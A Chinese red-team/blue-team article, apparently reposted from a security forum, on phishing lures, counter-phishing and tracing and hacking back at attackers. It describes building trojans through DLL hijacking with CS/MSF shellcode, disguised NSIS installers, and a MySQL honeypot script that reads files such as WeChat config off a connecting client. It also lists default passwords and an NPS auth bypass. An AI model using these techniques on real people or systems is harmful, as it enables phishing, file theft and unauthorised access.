攻防千层饼
近年来,网络安全领域正在经历一场不断升级的攻防对抗,这场攻防已经不再局限于传统的攻击与防御模式,攻击者和防守者都已经越发熟练,对于传统攻防手法了如指掌。
在这个背景下,攻击者必须不断寻求创新的途径,以突破外部网络目标的坚固防护体系,利用零日漏洞、社会工程学手法、供应链攻击、投毒攻击,或者更加隐秘的攻击向量,以规避传统的检测与响应机制。防守方也不再仅仅依赖于传统的防御策略,如IP封锁或简单的入侵检测,已经转向主动防御甚至主动进攻,采取主动情报收集、分析与分享,实时威胁情报监测、云安全服务、容器化防护等安全防护,以应对不断进化的威胁。更加激进的防守方会选择积极主动的策略,对攻击者发起反制攻击,拿下权限获取情报(更多的是被逼的,谁不想躺两周呢)。
本文将探讨这些非常规的攻击与防御手段。
钓鱼
在网络攻防中,社会工程学攻击(如钓鱼)是一种常见的攻击手段。攻击者利用人们的心理和行为特点,通过欺骗、伪装等手段获取敏感信息或实施其他恶意活动。
钓鱼攻击
目前钓鱼的形式多种多样,有常规钓鱼手段通过邮箱、微信等IM工具钓鱼,也有供应链官方升级文件投毒,代码投毒。
求职招聘
攻击者伪装求职平台的求职者,联系HR私加微信。经常聊天降低风险意识,并套话使用的什么终端设别,发送伪装成求职简历的木马文件名,HR运行上线。
或者伪装HR联系求职者

投毒
在github,公众号等地方投毒

供应链投毒

社会工程学
通过在社交平台寻找疑似工作人员(重点关注微博抖音快手小红书),然后通过OSINT定制化钓鱼攻击,博取对方信任,然后投放木马

仿冒IT运维人员
以密码过期、系统升级等理由,要求打开链接输入账号密码或者下载恶意附件



补贴

吃瓜
通过捏造吃瓜事件,吸引受害者点击恶意文件,在攻防时慎用此方式钓鱼,可能会被警告(21年某象)




反钓鱼攻击
可以在经过网络隔离的环境中模拟被钓鱼人员,运行攻击者的木马程序,同时准备一些模拟的敏感文件,例如VPN账号和密码、运维手册等等。这样,当攻击者尝试下载和运行这个木马程序时,可以对其进行反制。
DLL劫持制作木马
合法程序在运行的时候需要加载合法的dll,使用恶意的dll通过函数调用劫持合法dll,达到运行合法程序加载恶意dll的效果
使用拿破轮胎大佬的工具(工具下载网盘:链接https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ
提取码:c29j)可以直接自动化劫持dll。
使用CS或者MSF的shellcode生成dll文件,这时文件目录会自动生成conf.inf文件和wwwcomw.dll文件,然后选择生成的wwwcomw.dll文件和要劫持的exe文件,即可生成被劫持的恶意程序。

将conf.inf文件和wwwcomw.dll文件放入到和劫持的文件同一目录,点击运行即可执行shellcode

NSIS制作安装包
使用nsis可以将上述多个文件打包成一个安装包,并可伪装成任意软件。软件下载地址:https://www.pc6.com/softview/SoftView_14342.html 软件使用教程:https://www.cnblogs.com/modou/p/3573772.html

mysql蜜罐
21年国家HW时,某知名社区官方账号就曾使用该方法进行钓鱼,在一篇分析投毒代码中留下Mysql蜜罐的账号密码,吸引好事者登录mysql蜜罐,窃取敏感信息。

LOAD DATA LOCAL INFILE
LOAD DATA LOCAL INFILE 是 MySQL 中用于将数据从本地文件加载到数据库表中的命令。这个命令允许用户通过指定本地文件的路径将数据导入到数据库表中。
读取服务端上的文件内容存入表中:
load data infile "文件" into table "表名" fields terminated by '分隔符';
读取客户端上的文件内容存入表中:
load data local infile "文件" into table "表名" fields terminated by '分隔符';
查看LOAD DATA LOCAL INFILE 功能开关状态
show global variables like 'local_infile';

将LOAD DATA LOCAL INFILE 功能打开
set global local_infile=1;
蜜罐
利用代码伪造连接信息

尝试读取文件信息
if 'SET NAMES utf8' in res4:conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")res5 = conn.recv(9999)if 'SET character_set_results=NULL' in res5:conn.sendall("\x07\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00")conn.close()else:conn.close()else:conn.close()else:conn.close()else:try:wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filenameconn.sendall(wantfile)content = conn.recv(99999999)# print(len(content))conn.close()if len(content) > 4:if 'PFRO' in filename:with open(logpath + "/PFRO.log", "w") as f:f.write(content)f.close()return Trueelse:with open(logpath + "/" + filename.replace("/", "_").replace(":", ""), "w") as f:f.write(content)f.close()return Trueelse:return Falseexcept Exception as e:print (e)except Exception as e:print (e)def run():port = 3306sv = socket.socket()sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sv.bind(("",port))sv.listen(100)while True:conn, address = sv.accept()logpath = os.path.abspath('.') + "/log/" + address[0] + '/PFRO.log'if os.path.exists(logpath):with open(logpath, 'r')as f:content = f.read()f.close()content = content.replace('\n','').replace('\r','').replace(' ','').replace('\t','').replace('\00','')try:res = re.findall(r'Users\\(.*)\\', content)[0]username = res.split('\\')[0]line = 'C:/Users/' + username + '/Documents/WeChat Files/All Users/config/config.data' if not os.path.exists(os.path.abspath('.') + "/log/" + address[0]+'/'+line.replace("/", "_").replace(":", "")):res = mysql_get_file_content(line,conn,address)if res:print ("Read Success! ---> " + line)else:print ("Not Found~ ---> " + line)else:conn.close()except Exception as e:print(e)else:line = 'C:/Windows/PFRO.log'res = mysql_get_file_content(line,conn,address)if res:print ("Read Success! ---> " + line)else:print ("Not Found~ ---> " + line)
项目地址:https://github.com/fnmsd/MySQL_Fake_Server
溯源反制
溯源
钓鱼邮件溯源
从邮件头入手,通常会包括"Received"字段,其中包含有关邮件传输的信息,如发件服务器的IP地址,对IP地址进行反查溯源。

对邮箱账号进行溯源如“@qq.com”、“@gmail.com”等此类字符串,搜索账号等,如果使用的是私有域名邮箱,可以从这方面入手,有次就碰见EwoMail邮箱管理后台一般为8010端口使用了默认口令admin/ewomail123。

邮件中可能包含域名链接或者后门木马也可进行溯源。
后门木马溯源
后门木马类型可能包括LNK、EXE、DOCX等。DOCX文件可能包含“最后编辑者名称”,EXE文件中可能包含PDB信息,尤其是在开发人员将项目存放在桌面时,这可能会导致编译信息与开发人员的终端名称相关联,LNK文件在创建时可能会捕获计算机名称。对回连 C2IP溯源。
NPS
未授权访问
当使用默认配置未配置auth_key参数时,可以利用时间戳直接伪造管理员token的漏洞。脚本利用:https://github.com/0xf4n9x/NPS-AUTH-BYPASS
默认密码
nps的默认账号密码为admin/123

灯塔
默认密码
灯塔的默认账号密码为admin/arlpass
反溯源
NPS
故意留下未授权访问漏洞,或者易被猜解漏洞,如HW@2023,客户端内留下网络隔离环境的代理,同反钓鱼攻击。
灯塔
在一次攻防时,对攻击IP进行测绘,发现灯塔资产,使用未授权访问直接进入后台,发现大量shell。

还好当时留了个心眼儿,用沙箱跑了一下,发现全是木马,也是学到了一波。

原文地址:https://forum.butian.net/share/2454
没看够?欢迎关注


相关文章:
攻防千层饼
近年来,网络安全领域正在经历一场不断升级的攻防对抗,这场攻防已经不再局限于传统的攻击与防御模式,攻击者和防守者都已经越发熟练,对于传统攻防手法了如指掌。 在这个背景下,攻击者必须不断寻求创新的途径࿰…...
组件封装使用?
组件封装是指在软件开发中,将功能代码或数据封装成一个独立的、可重用的模块或组件。这种封装可以使得代码更加模块化、可维护性和可重用性。在许多编程语言和开发框架中,都有不同的方式来实现组件封装。 以下是一些常见的组件封装方法和技巧࿱…...
2.3 初探Hadoop世界
文章目录 零、学习目标一、导入新课二、新课讲解(一)Hadoop的前世今生1、Google处理大数据三大技术2、Hadoop如何诞生3、Hadoop主要发展历程 (二)Hadoop的优势1、扩容能力强2、成本低3、高效率4、可靠性5、高容错性 (三…...
Flutter笔记:发布一个电商中文货币显示插件Money Display
Flutter笔记 电商中文货币显示插件 Money Display 作者:李俊才 (jcLee95):https://blog.csdn.net/qq_28550263 邮箱 :291148484163.com 本文地址:https://blog.csdn.net/qq_28550263/article/details/1338…...
解密zkLogin:探索前沿的Sui身份验证解决方案
由于钱包复杂性导致的新用户入门障碍是区块链中一个长期存在的问题,而zkLogin是其简单的解决方案。通过使用前沿的密码学和技术,zkLogin既优雅又复杂。本文深入探讨了zkLogin的工作原理,涵盖了用户和开发者的安全性方面,并解释了S…...
js构造函数
构造函数 通过 new 函数名 来实例化对象的函数叫构造函数。 任何的函数都可以作为构造函数存在。之所以有构造函数与普通函数之分,主要从功能上进行区别的,构造函数的主要 功能为 初始化对象,特点是和new 一起使用。new就是在创建对象&#x…...
性能测试-redis常见问题
缓存击穿、缓存穿透、缓存雪崩 缓存雪崩 解决办法 1.设置缓存失效时间,不要在同一时间 2.redis集群部署 3.不设置缓存设置时间 4.定时刷缓存的时间 缓存穿透 请求不管返回什么数据都返回给redis对参数合法器进行验证,不合法的时候直接过滤掉使用布…...
预测:2024 年将是互联网永远改变的一年。
人工智能的下一步发展将彻底改变互联网的各个方面。 如果你真的认为人工智能只是另一个炒作周期,那么你就会迎来新的觉醒。 以下是即将发生的事情: 1. 自主待办事项列表/代理:无需人工干预即可执行任务的人工智能。 这些代理将发送您的电子邮…...
Vue2 与 React 的区别
【5年以上前端】Vue 和 React 的区别看这里 - 知乎 vue和react的区别_vue react-CSDN博客 Vue 和 React 有什么不同?_vue和react区别-CSDN博客 1、相同点: ① 都使用了虚拟 DOM; ② 组件化开发; ③ 都是单向数据流ÿ…...
【AI视野·今日Robot 机器人论文速览 第五十一期】Tue, 10 Oct 2023
AI视野今日CS.Robotics 机器人学论文速览 Tue, 10 Oct 2023 Totally 54 papers 👉上期速览✈更多精彩请移步主页 Daily Robotics Papers On Multi-Fidelity Impedance Tuning for Human-Robot Cooperative Manipulation Authors Ethan Lau, Vaibhav Srivastava, Sh…...
零经验想跳槽转行网络安全,需要准备什么?
最近在后台看到很多私信都是有关转行网络安全的问题,目前咨询最多的都是:觉得现在的工作没有发展空间,替代性强,工资低,想跳槽转行网络安全。其中,他们主要关心的是:没有经验怎么学习࿱…...
Rust-是否使用Rc<T>
Rust的所有权机制,数据允许通过借用的方式,在函数的上下文中传递数据。如果离开数据作用的有效范围,这个借用就会失效,编译就会报错。这也是我们不会将借用(引用)作为函数的返回值的原因。下面的代码编译失败。 fn cr…...
论文解析——一种面向Chiplet互连的高效传输协议设计与实现
作者及发刊详情 熊国杰, 张津铭, 贺光辉. 一种面向Chiplet互连的高效传输协议设计与实现[J]. 计算机工程与科学, 2023, 45(08): 1339-1346.XIONG Guo-jie, ZHANG Jin-ming, HE Guang-hui. Design and implementation of an efficient transmission protocol for Chiplet inter…...
svo2.0 svo pro 编译运行
sudo apt-get install python-catkin-tools python-vcstool unable to locate python-vcstool 添加ros源 然后sudo apt update 依赖库下载,查看dependencies.yaml文件: 逐个clone到src目录下即可 dbow2_catkin 编译出错: 把https://gi…...
微信小程序前端生成动态海报图
//页面显示<canvas id"myCanvas" type"2d" style" width: 700rpx; height: 600rpx;" />onShareShow(e){var that this;let user_id wx.getStorageSync(user_id);let sharePicUrl wx.getStorageSync(sharePicUrl);if(app.isBlank(user_i…...
SQL如何导入数据以及第一次上机作业
如何导入excel数据 首先得学会导入数据 使用excel格式不需要改成其它格式(如csv,txt),因为你改了到时候还是会报错(实践过使用Sum统计总数一直说我数据格式有问题) 首先右键TSGL数据库->任务->导入数…...
数据结构-----红黑树简介
目录 前言 1.什么是红黑树? 2.为什么需要红黑树?(与AVL树对比) 3.红黑树的特性 前言 在此之前我们学习过了二叉排序树和平衡二叉树(AVL树),这两种树都是属于搜索树的一种,那么今天…...
哈佛教授因果推断力作:《Causal Inference: What If 》pdf下载
因果推断是一项复杂的科学任务,它依赖于多个来源的三角互证和各种方法论方法的应用,是用于解释分析的强大建模工具,同时也是机器学习领域的热门研究方向之一。 今天我要给大家推荐的这本书,正是因果推断领域必读的入门秘籍&#…...
Drecom 的《Eternal Crypt - Wizardry BC -》加入 The Sandbox 啦!
经典 “Wizardry” 游戏系列的新区块链迭代将通过全球合作拓展 Web3 游戏宇宙。 我们非常高兴地宣布,沙盒游戏公司与富有远见的传奇游戏《Wizardry》系列创造者 Drecom 将建立充满活力的合作伙伴关系。我们将共同推出《Eternal Crypt - Wizardry BC -》,…...
外贸网站流量下降可能是这五点原因造成的
随着互联网的发展,企业开始重视网站优化,越来越多的人开始从事网站优化工作,然而真正做起来,很多站长朋友并非一帆风顺,往往越到很多问题,比如外贸网站流量出现异常下降情况,但很多时候在遇到外…...
【根据当天日期输出明天的日期(需对闰年做判定)。】2022-5-15
缘由根据当天日期输出明天的日期(需对闰年做判定)。日期类型结构体如下: struct data{ int year; int month; int day;};-编程语言-CSDN问答 struct mdata{ int year; int month; int day; }mdata; int 天数(int year, int month) {switch (month){case 1: case 3:…...
通过Wrangler CLI在worker中创建数据库和表
官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...
MFC内存泄露
1、泄露代码示例 void X::SetApplicationBtn() {CMFCRibbonApplicationButton* pBtn GetApplicationButton();// 获取 Ribbon Bar 指针// 创建自定义按钮CCustomRibbonAppButton* pCustomButton new CCustomRibbonAppButton();pCustomButton->SetImage(IDB_BITMAP_Jdp26)…...
Python如何给视频添加音频和字幕
在Python中,给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加,包括必要的代码示例和详细解释。 环境准备 在开始之前,需要安装以下Python库:…...
数据库分批入库
今天在工作中,遇到一个问题,就是分批查询的时候,由于批次过大导致出现了一些问题,一下是问题描述和解决方案: 示例: // 假设已有数据列表 dataList 和 PreparedStatement pstmt int batchSize 1000; // …...
聊一聊接口测试的意义有哪些?
目录 一、隔离性 & 早期测试 二、保障系统集成质量 三、验证业务逻辑的核心层 四、提升测试效率与覆盖度 五、系统稳定性的守护者 六、驱动团队协作与契约管理 七、性能与扩展性的前置评估 八、持续交付的核心支撑 接口测试的意义可以从四个维度展开,首…...
【电力电子】基于STM32F103C8T6单片机双极性SPWM逆变(硬件篇)
本项目是基于 STM32F103C8T6 微控制器的 SPWM(正弦脉宽调制)电源模块,能够生成可调频率和幅值的正弦波交流电源输出。该项目适用于逆变器、UPS电源、变频器等应用场景。 供电电源 输入电压采集 上图为本设计的电源电路,图中 D1 为二极管, 其目的是防止正负极电源反接, …...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
HTML前端开发:JavaScript 获取元素方法详解
作为前端开发者,高效获取 DOM 元素是必备技能。以下是 JS 中核心的获取元素方法,分为两大系列: 一、getElementBy... 系列 传统方法,直接通过 DOM 接口访问,返回动态集合(元素变化会实时更新)。…...
【Kafka】Kafka从入门到实战:构建高吞吐量分布式消息系统
Kafka从入门到实战:构建高吞吐量分布式消息系统 一、Kafka概述 Apache Kafka是一个分布式流处理平台,最初由LinkedIn开发,后成为Apache顶级项目。它被设计用于高吞吐量、低延迟的消息处理,能够处理来自多个生产者的海量数据,并将这些数据实时传递给消费者。 Kafka核心特…...
